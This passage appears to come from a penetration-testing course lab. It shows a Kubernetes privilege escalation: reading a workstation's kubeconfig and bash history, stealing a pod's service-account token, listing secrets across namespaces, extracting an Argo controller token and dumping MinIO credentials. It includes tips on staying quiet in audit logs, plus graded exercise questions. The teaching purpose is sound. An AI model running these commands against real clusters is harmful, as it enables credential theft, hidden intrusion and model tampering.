    client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FU...
    client-key-data: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBL...

Listing 33 - Aisha's Kubeconfig Reveals Cluster Endpoint and Default Namespace

The kubeconfig indicates the API server lives at https://cp-01:6443, we authenticate as aisha-kone with a client certificate, and the default namespace is app.

There's also valuable information we can obtain by parsing the certificate data - in particular, the Subject field.

aisha@workstation:~$ <cu>kubectl config view --raw -o jsonpath='{.users[0].user.client-certificate-data}' | base64 -d | openssl x509 -text -noout | grep Subject</cu>
        Subject: O = megacorpone:av-platform-ops, CN = aisha-kone

Listing 34 - Aisha's Client Certificate Subject

In Kubernetes, X.509 client certificates use a convention where the Common Name (CN) field specifies the username and the Organization (O) field specifies group membership. Groups can be referenced in RBAC policies to grant permissions to sets of users, so they often reflect organizational roles or teams. Here, the CN is aisha-kone and the O is megacorpone:av-platform-ops, placing her in the AV Platform Operations team. This doesn't directly reveal her permissions — that comes from RBAC — but it's worth checking because sometimes the O field contains high-value groups like system:masters or cluster-admins.

From this point on, most of the kubectl commands we run will hit the API server and generate an audit log entry. Since we're operating from a workstation that already has a valid kubeconfig, our commands should appear as normal activity for this user. We should still avoid noisy commands or triggering "access denied" errors that could raise suspicion.

It might be tempting to check our current permissions with kubectl auth can-i --list to get a baseline of what we can do. This command is not commonly blocked and is normally used for troubleshooting, so it should be safe to run. However, we might choose to stay conservative and rely on what we can learn from reconnaissance first. The bash history on the workstation already contains a wealth of operational context that tells us what namespaces, pods, and services this engineer interacts with regularly.

Let's examine the bash history and review what commands Aisha has been running recently.

aisha@workstation:~$ <cu>cat ~/.bash_history</cu>
ssh sanjay@cp-01 "kubectl get nodes"
ssh sanjay@cp-01 "kubectl cluster-info"
kubectl get pods -n app
kubectl get pods -n ml-inference
kubectl describe pod app-api -n app
kubectl exec -it app-api -n app -- curl localhost:8080/status
kubectl get services -n app
kubectl get configmaps -n app
kubectl get configmap app-config -n app -o yaml
kubectl get secret dashboard-api-credentials -n app -o jsonpath='{.data.api-key}' | base64 -d
kubectl get pods -n ml-inference -o wide
kubectl describe pod inference-pod -n ml-inference
kubectl logs inference-pod -n ml-inference --tail=50
kubectl exec -it inference-pod -n ml-inference -- curl localhost:8080/health
kubectl get services -n ml-inference
kubectl exec -it app-api -n app -- curl -s inference-svc.ml-inference:8080/health
cat ~/notes/ridgeline-deploy-checklist.md
cat ~/notes/sanjay-handoff.md
cat ~/notes/incident-classifier-config.md
kubectl exec -it inference-pod -n ml-inference -- curl -X POST localhost:8080/predict -H 'Content-Type: application/json' -d '{"text":"test report"}'
ssh sanjay@cp-01 "kubectl get cs"
ssh sanjay@cp-01 "systemctl status kubelet"
kubectl exec -it inference-pod -n ml-inference -- ls /data/pipeline/
kubectl exec -it inference-pod -n ml-inference -- cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
ssh sanjay@cp-01 "kubectl get pods -n pipeline-system"
ssh sanjay@cp-01 "kubectl logs mlflow-tracking -n pipeline-system --tail=20"
kubectl exec -it inference-pod -n ml-inference -- ls -la /data/pipeline/models/

Listing 35 - Curated Selection from Aisha's Bash History

From the bash history, Aisha works across two namespaces (app and ml-inference) and uses exec to interact with pods directly. She also has SSH access to cp-01, likely the control plane node. Her history references notes files, the dashboard-api-credentials secret, and the app-config ConfigMap. These give us clear targets for the next phase.

Both the SSH access and the use of kubectl exec are red flags for potential escalation paths. The control plane node is where the API server runs, so having direct access to it could allow us to bypass RBAC controls and interact with the cluster in ways that a normal user can't. Before checking that out, let's follow the more discreet path of exploring the ConfigMaps.

A ConfigMap is a Kubernetes resource that stores configuration data as key-value pairs in plaintext. Developers use them to decouple application settings from container images, which means they often contain internal service endpoints, database URIs, artifact bucket names, and other architectural details. ConfigMaps aren't meant for sensitive data, but developers often misuse them, so it's worth checking.

The bash history shows Aisha already queried app-config in the app namespace and pipeline-config in ml-inference, so our access should blend in as normal activity.

aisha@workstation:~$ <cu>kubectl get configmap app-config -n app -o yaml</cu>
apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
  namespace: app
  labels:
    app: app-api
    team: av-platform-ops
data:
  config.yaml: |
    # Ridgeline Safety Dashboard — backend configuration
    # Last updated: 2024-11-18 by sanjay.raman

    service:
      name: ridgeline-safety-dashboard
      version: 1.4.2

    backends:
      inference:
        # Incident classification service
        endpoint: http://incident-classifier.ml-inference.svc.cluster.local:8080
        timeout_ms: 5000
        retry_count: 3
      mlflow:
        tracking_uri: http://mlflow-tracking.pipeline-system.svc.cluster.local:5000
      feature_store:
        endpoint: http://feature-store.ml-inference.svc.cluster.local:6379

    dashboard:
      refresh_interval_seconds: 30
      severity_levels: [critical, elevated, routine]

aisha@workstation:~$ <cu>kubectl get configmap pipeline-config -n ml-inference -o yaml</cu>
apiVersion: v1
kind: ConfigMap
metadata:
  name: pipeline-config
  namespace: ml-inference
  labels:
    app: model-pipeline
    team: av-ml-platform
data:
  config.yaml: |
    pipeline:
      name: incident-report-analysis
      version: "2.0"
      stages:
        - preprocess
        - inference
        - postprocess
    model:
      name: incident-classifier-v2
      path: /models/incident-v2
    logging:
      level: INFO
      path: /var/log/pipeline
    internal_api_url: "http://internal-api.ml-platform.svc.cluster.local"
    feature_store_endpoint: "http://feature-store.ml-inference.svc.cluster.local:8080"
    artifact_store: "http://minio.pipeline-system.svc.cluster.local:9000"
    artifact_bucket: "megacorpone-ridgeline-artifacts"
    mlflow_tracking_uri: "http://mlflow-tracking.pipeline-system.svc.cluster.local:5000"
    mlflow_experiment: "incident-classifier-training"

Listing 36 - ConfigMaps from the App and ML Inference Namespaces Reveal Internal Service Topology

The two ConfigMaps reveal the backend topology. app-config shows three services across namespaces using cluster-local DNS (<service>.<namespace>.svc.cluster.local), and pipeline-config reveals MinIO at minio.pipeline-system.svc:9000, the artifact bucket megacorpone-ridgeline-artifacts, the MLflow experiment, and the model path on disk. We've moved from blind enumeration to precision targeting.

Let's exec into the pod to find out. We'll match Aisha's established pattern by running a command she's already used in her history.

aisha@workstation:~$ <cu>kubectl exec -it inference-pod -n ml-inference -- curl -s localhost:8080/health</cu>
{"model":"incident-classifier","model_version":"2.1.0","status":"healthy","uptime_seconds":142.7}

Listing 37 - Executing into the Inference Pod Using Aisha's Established Access Pattern

We confirm we are running commands inside the inference pod. To get a shell, we just need to replace the command with sh or bash, depending on the image.

Before jumping into it, let's enumerate what Aisha can see from her current identity. A natural first step would be to list all namespaces, but that's a cluster-scoped operation, and so far what we've seen suggests Aisha has a scoped role. Instead, let's stay within the namespaces and resources we have discovered so far.

aisha@workstation:~$ <cu>kubectl get pods,svc -n app</cu>
NAME          READY   STATUS    RESTARTS   AGE
pod/app-api   1/1     Running   0          4h

NAME              TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)   AGE
service/app-api   ClusterIP   10.96.45.12   <none>        80/TCP    4h

aisha@workstation:~$ <cu>kubectl get pods,svc -n ml-inference</cu>
NAME                 READY   STATUS    RESTARTS   AGE
pod/feature-store    1/1     Running   0          4h
pod/inference-pod    1/1     Running   0          4h
pod/model-pipeline   4/4     Running   0          4h

NAME                          TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)                       AGE
service/feature-store         ClusterIP   10.96.87.33     <none>        8080/TCP                      4h
service/incident-classifier   ClusterIP   10.96.128.44    <none>        8080/TCP                      4h
service/model-pipeline        ClusterIP   10.96.201.17    <none>        8081/TCP,8080/TCP,8082/TCP     4h

Listing 38 - Enumerating Pods and Services in Known Namespaces

A few things stand out. The app namespace has a simple frontend (one pod, one service). ml-inference is more complex: the model-pipeline pod runs 4/4 containers — one main plus three sidecars. The sidecars share the pod's network namespace and volumes, which we'll exploit later. The service exposes three ports (8081, 8080, 8082) for the pre-processor, inference, and post-processor. We also see separate feature-store and inference-pod services.

Let's describe the inference pod to get more details about its configuration without exec'ing into it.

aisha@workstation:~$ <cu>kubectl describe pod inference-pod -n ml-inference</cu>
Name:             inference-pod
Namespace:        ml-inference
Service Account:  inference-sa
Node:             worker-inference/192.168.50.152
Labels:           app=inference
                  component=model-server
                  serving.kserve.io/inferenceservice=incident-classifier
Status:           Running
Containers:
  inference:
    Image:   lab-incident-classifier:latest
    Port:    8080/TCP
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access (ro)
Volumes:
  kube-api-access:
    Type:    Projected

Listing 39 - Describing the Inference Pod Reveals Service Account and Auto-Mounted Token

This confirms the pod runs as inference-sa and the SA token is auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/. The labels show KServe and Kubeflow annotations, which tells us this platform was built with ML-specific tooling. Most importantly, the token mount is read-only but accessible — once we exec into this pod, we can read the token and use it to authenticate against the API server as inference-sa.

Next, let's check Aisha's permissions. The kubectl auth can-i --list command is commonly used for troubleshooting and rarely triggers alerts, but it does show us the exact boundary of what this identity can do.

aisha@workstation:~$ <cu>kubectl auth can-i --list -n ml-inference</cu>
Resources                                       Non-Resource URLs   Resource Names   Verbs
pods/exec                                       []                  []               [create]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]
pods/log                                        []                  []               [get list watch]
pods                                            []                  []               [get list watch]
configmaps                                      []                  []               [get list]
services                                        []                  []               [get list]
                                                [/api/*]            []               [get]
                                                [/api]              []               [get]
                                                [/apis/*]           []               [get]
                                                [/apis]             []               [get]
                                                [/healthz]          []               [get]
                                                [/livez]            []               [get]
                                                [/openapi/*]        []               [get]
                                                [/openapi]          []               [get]
                                                [/readyz]           []               [get]
                                                [/version/]         []               [get]
                                                [/version]          []               [get]

Listing 40 - Aisha's Permissions in the ML Inference Namespace

Aisha can list pods, read logs, exec into pods, and read services and ConfigMaps — but she cannot list or read secrets, cannot create pods, and has no RBAC enumeration permissions. This is a properly-scoped troubleshooting role. The critical question is whether the service account token inside inference-pod has the same limitations, or whether the SA was granted broader access than Aisha herself has.

We have exec access to three pods in ml-inference: inference-pod, model-pipeline, and feature-store. All three share the same namespace, but that doesn't mean they share the same service account. Each pod can run under a different SA, and the mounted token determines what we can do from inside. We target inference-pod first for several reasons. The bash history shows Aisha already execs into it regularly, so our entry blends with her established pattern in the audit log. It runs the core classification workload, which means it's likely bound to a service account with permissions to reach other services — models need to be pulled, predictions need to be logged, and results need to be stored. Infrastructure pods like feature-store tend to run with minimal permissions scoped to their own data. The model-pipeline pod with its four containers is also interesting, but multi-container pods often have tighter security contexts precisely because they handle more complex workflows. We'll come back to it later for sidecar exploitation, but for initial SA token reconnaissance, the single-container inference pod is the safer and more promising first target.

aisha@workstation:~$ <cu>kubectl exec -it inference-pod -n ml-inference -- /bin/bash</cu>
root@inference-pod:/app#

Listing 41 - Dropping into the Inference Pod

We have a shell inside the inference pod. The first thing we want to know is what identity this pod runs as.

By default, Kubernetes auto-mounts a service account token into every pod at /var/run/secrets/kubernetes.io/serviceaccount/token. This token is the pod's authentication credential — whoever reads it can impersonate the service account to the API server. The directory also contains ca.crt for TLS validation and namespace for the pod's namespace. The mount is controlled by automountServiceAccountToken in the pod spec (default: true). Setting it to false removes the token and API access entirely.

Pods that don't need Kubernetes API access — like inference servers, feature stores, or data processors — should set automountServiceAccountToken: false in the pod spec. This removes the token mount entirely and eliminates the most common lateral movement vector in Kubernetes. When a pod does need API access, use a projected volume with a bound service account token that has a short TTL and audience restriction, so even a stolen token expires quickly and only works against a specific API.

root@inference-pod:/app# <cu>ls /var/run/secrets/kubernetes.io/serviceaccount/</cu>
ca.crt  namespace  token

root@inference-pod:/app# <cu>cat /var/run/secrets/kubernetes.io/serviceaccount/namespace</cu>
ml-inference

root@inference-pod:/app# <cu>cat /var/run/secrets/kubernetes.io/serviceaccount/token</cu>
eyJhbGciOiJSUzI1NiIsImtpZCI6Ik...

Listing 42 - Reading the Mounted Service Account Token

The token is a JWT that authenticates us as inference-sa when we make requests to the API server. However, production images are typically stripped down to the minimum required binaries, and it might be the case that kubectl isn't installed and we need to find a tool or library to craft HTTP requests.

Inside any Kubernetes pod, the API server address is exposed through the environment variables KUBERNETES_SERVICE_HOST and KUBERNETES_SERVICE_PORT, and the CA certificate for TLS validation sits alongside the token at /var/run/secrets/kubernetes.io/serviceaccount/ca.crt. With these three pieces we can craft the requests to interact with the API server. Let's first check what tools we have available.

root@inference-pod:/app# <cu>whereis kubectl</cu>
kubectl:
root@inference-pod:/app# <cu>whereis curl</cu>
curl: /usr/bin/curl
root@inference-pod:/app# <cu>export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)</cu>
root@inference-pod:/app# <cu>export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}</cu>
root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"ml-inference"}}' \
  | jq '.status.resourceRules[] | select(.resources != null) | {verbs, resources, apiGroups}'</cu>
{
  "verbs": ["get", "list", "watch"],
  "resources": ["secrets"],
  "apiGroups": [""]
}
{
  "verbs": ["get", "list", "watch"],
  "resources": ["namespaces", "pods", "services", "configmaps", "nodes"],
  "apiGroups": [""]
}
{
  "verbs": ["create", "get"],
  "resources": ["pods/exec", "pods/log"],
  "apiGroups": [""]
}
{
  "verbs": ["get", "list"],
  "resources": ["serviceaccounts"],
  "apiGroups": [""]
}
{
  "verbs": ["get", "list"],
  "resources": ["clusterroles", "clusterrolebindings", "roles", "rolebindings"],
  "apiGroups": ["rbac.authorization.k8s.io"]
}
{
  "verbs": ["create"],
  "resources": ["selfsubjectaccessreviews", "selfsubjectrulesreviews"],
  "apiGroups": ["authorization.k8s.io"]
}
{
  "verbs": ["create"],
  "resources": ["selfsubjectreviews"],
  "apiGroups": ["authentication.k8s.io"]
}

Listing 43 - Enumerating Inference SA Permissions via the Kubernetes API

The inference-sa token grants broader permissions than Aisha's own role — we can read secrets, RBAC bindings, and cluster topology. Secret access is critical: credentials, API tokens, and keys are stored there. RBAC read access reveals permission structures, helping us identify other high-value identities to target.

We queried ml-inference in our request, so we know these permissions apply here. But the presence of resources like nodes and namespaces — which are cluster-scoped, not namespace-scoped — is unusual for a workload identity. That raises a question: do these permissions extend beyond ml-inference? We can test this by repeating the same query against a different namespace and comparing the results.

We don't have pod creation permissions, so we can't directly spin up new workloads. But if we can read secrets across multiple namespaces, any service account token stored as a secret becomes reachable. Pipeline systems and CI/CD controllers often store long-lived tokens this way, and those tokens may have the permissions we're missing.

Let's test our hypothesis. We'll repeat the same SelfSubjectRulesReview query, but change the namespace to monitoring — a namespace we saw referenced in the ConfigMaps, but have no legitimate reason to access as an inference workload.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"monitoring"}}' \
  | jq '.status.resourceRules[] | select(.resources != null) | {verbs, resources}'</cu>
{
  "verbs": ["get", "list", "watch"],
  "resources": ["secrets"]
}
{
  "verbs": ["get", "list", "watch"],
  "resources": ["namespaces", "pods", "services", "configmaps", "nodes"]
}
{
  "verbs": ["create", "get"],
  "resources": ["pods/exec", "pods/log"]
}
{
  "verbs": ["get", "list"],
  "resources": ["serviceaccounts"]
}
{
  "verbs": ["get", "list"],
  "resources": ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]
}
{
  "verbs": ["create"],
  "resources": ["selfsubjectaccessreviews", "selfsubjectrulesreviews"]
}
{
  "verbs": ["create"],
  "resources": ["selfsubjectreviews"]
}

Listing 44 - Same Permissions in the Monitoring Namespace Confirm Cluster-Wide Access

We observe identical rules. The inference-sa has the same permissions in monitoring as it does in ml-inference. This confirms the access comes from a ClusterRole — a role that applies across all namespaces — rather than a namespaced Role, meaning we can read secrets in every namespace in the cluster.

Let's see how far this goes. First, we'll enumerate namespaces to map the full cluster layout, then list what secrets exist in the namespaces that seem most interesting.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces \
  | jq -r '.items[].metadata.name'</cu>
app
ci-cd
data-engineering
default
kube-node-lease
kube-public
kube-system
ml-inference
ml-inference-staging
monitoring
pipeline-system

Listing 45 - Enumerating All Cluster Namespaces

We find eleven namespaces. Beyond the ones we already know (app, ml-inference), we see monitoring, pipeline-system, data-engineering, ci-cd, and an ml-inference-staging that could be a pre-production mirror. The system namespaces (kube-system, kube-node-lease, kube-public, default) are standard Kubernetes infrastructure. Let's focus on the namespaces most likely to contain useful credentials: monitoring and pipeline-system.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces/monitoring/secrets \
  | jq -r '.items[] | "\(.metadata.name)	\(.type)"'</cu>
alertmanager-webhook	Opaque
grafana-admin-creds	Opaque
monitoring-registry-auth	kubernetes.io/dockerconfigjson
prometheus-bearer-token	Opaque

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces/pipeline-system/secrets \
  | jq -r '.items[] | "\(.metadata.name)	\(.type)"'</cu>
argo-controller-token	kubernetes.io/service-account-token
backup-encryption-key	Opaque
minio-credentials	Opaque
mlflow-tracking-credentials	Opaque
postgres-credentials	Opaque

Listing 46 - Listing Secrets Across Monitoring and Pipeline System Namespaces

We can list secrets in both namespaces — cross-namespace secret enumeration from an inference pod. The monitoring namespace has Grafana credentials and a Prometheus bearer token. The pipeline-system namespace is even more promising: MinIO credentials, MLflow tracking credentials, Postgres credentials, and one that stands out — argo-controller-token. Argo is a workflow engine commonly used in ML pipelines, and controller tokens often carry elevated permissions because the controller needs to create and manage pods, jobs, and other resources across namespaces. That token is worth reading next.

Let's read the argo-controller-token secret and inspect what's inside.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces/pipeline-system/secrets/argo-controller-token \
  | jq '.data | keys'</cu>
[
  "ca.crt",
  "namespace",
  "token"
]

Listing 47 - Reading the Argo Controller Token Secret

The secret contains ca.crt, namespace, and token — the same three files that Kubernetes mounts into pods for service account authentication. This is a long-lived service account token secret, the kind that Kubernetes used to create automatically before v1.24. Let's decode the JWT payload to determine which identity it belongs to.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces/pipeline-system/secrets/argo-controller-token \
  | jq -r '.data.token' | base64 -d | cut -d. -f2 | base64 -d 2>/dev/null | jq .</cu>
{
  "iss": "kubernetes/serviceaccount",
  "kubernetes.io/serviceaccount/namespace": "pipeline-system",
  "kubernetes.io/serviceaccount/secret.name": "argo-controller-token",
  "kubernetes.io/serviceaccount/service-account.name": "argo-workflow-controller",
  "kubernetes.io/serviceaccount/service-account.uid": "8e0b9d19-...",
  "sub": "system:serviceaccount:pipeline-system:argo-workflow-controller"
}

Listing 48 - Decoding the Argo Controller Token JWT Payload

The token authenticates as system:serviceaccount:pipeline-system:argo-workflow-controller, a different and potentially more privileged identity. To test its permissions, we'll extract the token, use it in a new SelfSubjectRulesReview, and compare it to inference-sa's capabilities.

root@inference-pod:/app# <cu>ARGO_TOKEN=$(curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces/pipeline-system/secrets/argo-controller-token \
  | jq -r '.data.token' | base64 -d)</cu>
root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${ARGO_TOKEN}" \
  ${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"pipeline-system"}}' \
  | jq '.status.resourceRules[] | select(.resources != null) | {verbs, resources}'</cu>
{
  "verbs": ["create"],
  "resources": ["selfsubjectaccessreviews", "selfsubjectrulesreviews"]
}
{
  "verbs": ["create"],
  "resources": ["selfsubjectreviews"]
}
{
  "verbs": ["create", "delete", "get", "list", "watch", "patch"],
  "resources": ["pods", "pods/exec", "pods/log"]
}
{
  "verbs": ["get", "list", "watch", "create"],
  "resources": ["secrets"]
}
{
  "verbs": ["create", "delete", "get", "list"],
  "resources": ["persistentvolumeclaims"]
}
{
  "verbs": ["get", "list", "watch"],
  "resources": ["configmaps", "services", "serviceaccounts"]
}
{
  "verbs": ["*"],
  "resources": ["workflows", "workflowtemplates", "cronworkflows"]
}
{
  "verbs": ["create", "delete", "get", "list", "watch"],
  "resources": ["daemonsets"]
}
{
  "verbs": ["create", "delete", "get", "list", "watch"],
  "resources": ["cronjobs", "jobs"]
}
{
  "verbs": ["create", "patch"],
  "resources": ["events"]
}

Listing 49 - The Argo Controller Token Has Pod Creation and Workload Management Permissions

This is a significant escalation. While inference-sa can only read, argo-workflow-controller can create, delete, and patch pods, manage DaemonSets and CronJobs, and manipulate Argo workflows. Pipeline controllers do need broad permissions, but this role grants far more than necessary. It's a prime example of over-privileging automation.

We've chained two identities: inference-sa gave us cluster-wide secret read access, which let us steal the Argo token, enabling pod creation and workload management.

One of the namespaces contains a container registry pull secret. Using the inference-sa token, find and decode this secret. What are the registry credentials (username:password)?
The monitoring namespace contains Grafana credentials. Using the inference-sa token, find and decode the secret. What is the Grafana admin password?
The cluster contains a namespace called ml-inference-staging that mirrors the ml-inference namespace we compromised. Inspect its configuration — namespace labels, service accounts, pod specs, and RBAC bindings. What specific security controls does the staging namespace implement that would have prevented our attack?

Escalating Privileges Through Identity Chaining

Please check the attached video named escalating_privileges_through_identity_01.mp4

Before we use the Argo token, let's step back and understand the RBAC structure that made this possible. Our SelfSubjectRulesReview showed we can read RBAC objects, so we can inspect the actual ClusterRoleBinding and ClusterRole that grant inference-sa its permissions.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
  | jq '.items[] | select(.subjects[]?.name == "inference-sa") | {name: .metadata.name, role: .roleRef.name}'</cu>
{
  "name": "ml-inference-binding",
  "role": "ml-inference-role"
}

Listing 50 - Discovering the ClusterRoleBinding for Inference SA

A ClusterRoleBinding binds a ClusterRole to a subject (user, group, or service account) across the entire cluster. The fact that inference-sa is bound via a ClusterRoleBinding rather than a namespaced RoleBinding confirms what we suspected: these permissions apply everywhere, not just in ml-inference. Let's read the ClusterRole itself.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/apis/rbac.authorization.k8s.io/v1/clusterroles/ml-inference-role \
  | jq '{name: .metadata.name, description: .metadata.annotations.description, rules: .rules}'</cu>
{
  "name": "ml-inference-role",
  "description": "Inference pod observability — read secrets for dashboard auth, enumerate pods for health checks",
  "rules": [
    {
      "verbs": ["get", "list", "watch"],
      "apiGroups": [""],
      "resources": ["secrets"]
    },
    {
      "verbs": ["get", "list", "watch"],
      "apiGroups": [""],
      "resources": ["namespaces", "pods", "services", "configmaps", "nodes"]
    },
    {
      "verbs": ["create", "get"],
      "apiGroups": [""],
      "resources": ["pods/exec", "pods/log"]
    },
    {
      "verbs": ["get", "list"],
      "apiGroups": [""],
      "resources": ["serviceaccounts"]
    },
    {
      "verbs": ["get", "list"],
      "apiGroups": ["rbac.authorization.k8s.io"],
      "resources": ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]
    }
  ]
}

Listing 51 - The ML Inference ClusterRole Grants Cluster-Wide Secret Access and RBAC Enumeration

The intent was "read secrets for dashboard auth, enumerate pods for health checks." The implementation is far broader: cluster-wide secret access, exec into any pod, and full RBAC enumeration. This gap between intent and implementation is exactly what we exploit. The team provisioned access to a few monitoring secrets but granted access to every secret in the cluster.

Now let's use the RBAC enumeration capability to understand the Argo identity we've stolen. We already know the token authenticates as argo-workflow-controller — let's find its ClusterRoleBinding and see how its permissions are structured.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
  | jq '.items[] | select(.subjects[]?.name == "argo-workflow-controller") | {name: .metadata.name, role: .roleRef.name}'</cu>
{
  "name": "argo-workflow-controller-binding",
  "role": "argo-workflow-controller-role"
}

Listing 52 - Finding the Argo Workflow Controller ClusterRoleBinding

The Argo controller also uses a ClusterRoleBinding. We've already seen its permissions through the SelfSubjectRulesReview in Listing 49 — pod creation, DaemonSets, CronJobs, and wildcard Argo CRD access. With both identities mapped, we can now chart the full attack path this RBAC misconfiguration enables.

At this point, we hold two identities with different capabilities, and the combination gives us more than either one alone:

Capability	inference-sa	argo-workflow-controller
Read secrets (all namespaces)	yes	yes
List namespaces, pods, nodes	yes	no
Enumerate RBAC	yes	no
Exec into pods	yes	yes
Create/delete pods	no	yes
Create DaemonSets, CronJobs	no	yes
Manage Argo workflows	no	yes

Table 2 - Comparing the Two Stolen Identities

The identity chaining pattern here is worth highlighting: the first identity (inference-sa) can see everything but can't act. The second identity (argo-workflow-controller) can act, but we could only reach it because the first identity had cluster-wide secret read. Neither identity alone gives us full control — but together they cover the complete read-then-write escalation path.

With the Argo token, we can now explore the ML-specific infrastructure in pipeline-system. The pipeline-config ConfigMap we read earlier mentioned MinIO and MLflow — let's exfiltrate the credentials and see what the platform's artifact storage contains.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces/pipeline-system/secrets/minio-credentials \
  | jq '{accesskey: (.data.accesskey | @base64d), secretkey: (.data.secretkey | @base64d)}'</cu>
{
  "accesskey": "ridgeline-artifacts-sa",
  "secretkey": "Ridgeline2024!artifacts"
}

Listing 53 - Exfiltrating MinIO Artifact Store Credentials

These are the credentials for the MinIO instance that stores model artifacts, training data, and pipeline outputs. The pipeline-config ConfigMap told us the bucket is megacorpone-ridgeline-artifacts and it's accessible at minio.pipeline-system.svc:9000. With these credentials, an attacker could download model binaries, inject poisoned models, or plant backdoored artifacts that get loaded during the next training run.

Earlier, when we described the inference pod, we noticed KServe labels: serving.kserve.io/inferenceservice=incident-classifier and app.kubernetes.io/part-of=kubeflow. KServe is a Kubernetes-native model serving framework that uses Custom Resource Definitions to define how models are deployed and scaled. We can't read the InferenceService CRD directly — inference-sa's ClusterRole only covers core API resources, not custom ones — but the labels and the pipeline-config ConfigMap together give us what we need: the model is incident-classifier-v2, artifacts are in the MinIO bucket megacorpone-ridgeline-artifacts, and the MLflow experiment tracking it is incident-classifier-training. Combined with the MinIO credentials we just exfiltrated, we have the full picture of where model binaries are stored and how to access them.

The pipeline-system namespace contains credentials for the MLflow tracking server and its PostgreSQL database. Decode both secrets. What are the two passwords?
The identity chaining attack uses two stolen identities: inference-sa and argo-workflow-controller. Explain why neither identity alone is sufficient to compromise the cluster. What specific capability does each one lack that the other provides?
You have exfiltrated MinIO, MLflow, and PostgreSQL credentials from pipeline-system. Describe a concrete attack path that uses one or more of these credentials to compromise the incident classification model without creating any new pods or modifying existing Kubernetes resources.

Abusing Multi-Container Pods in ML Pipelines

Please check the attached video named abusing_multi_container_pods_01.mp4

Up to this point, we chained two identities and mapped the ML infrastructure. Now we shift from infrastructure compromise to ML-specific impact.

Poisoning container images used by ML workloads maps to MITRE ATLAS AML.T0010.004: AI Supply Chain Compromise: Container Registry.

ML inference workloads rarely run as a single container. Preprocessing, post-processing, and observability are handled by sidecar containers alongside the main inference container in a multi-container pod. Init containers can also run before the main containers start — for example, to pull model artifacts into a shared volume. All containers in a pod share the same network namespace and can share volumes, which makes data handoff seamless but also means a compromised sidecar has direct access to everything the inference container sees.

The model-pipeline pod we saw during enumeration has four containers. Let's examine this architecture more closely.

root@inference-pod:/app# <cu>curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces/ml-inference/pods/model-pipeline \
  | jq '{
    initContainers: [.spec.initContainers[].name],
    containers: [.spec.containers[] | {name, ports: [.ports[]?.containerPort], volumeMounts: [.volumeMounts[] | {name: .name, mountPath: .mountPath, readOnly: (.readOnly // false)}]}],
    volumes: [.spec.volumes[] | .name]
  }'</cu>
{
  "initContainers": [
    "model-loader"
  ],
  "containers": [
    {
      "name": "pre-processor",
      "ports": [
        8081
      ],
      "volumeMounts": [
        <cr>{
          "name": "request-queue",
          "mountPath": "/queue",
          "readOnly": false
        }</cr>,
        {
          "name": "logs",
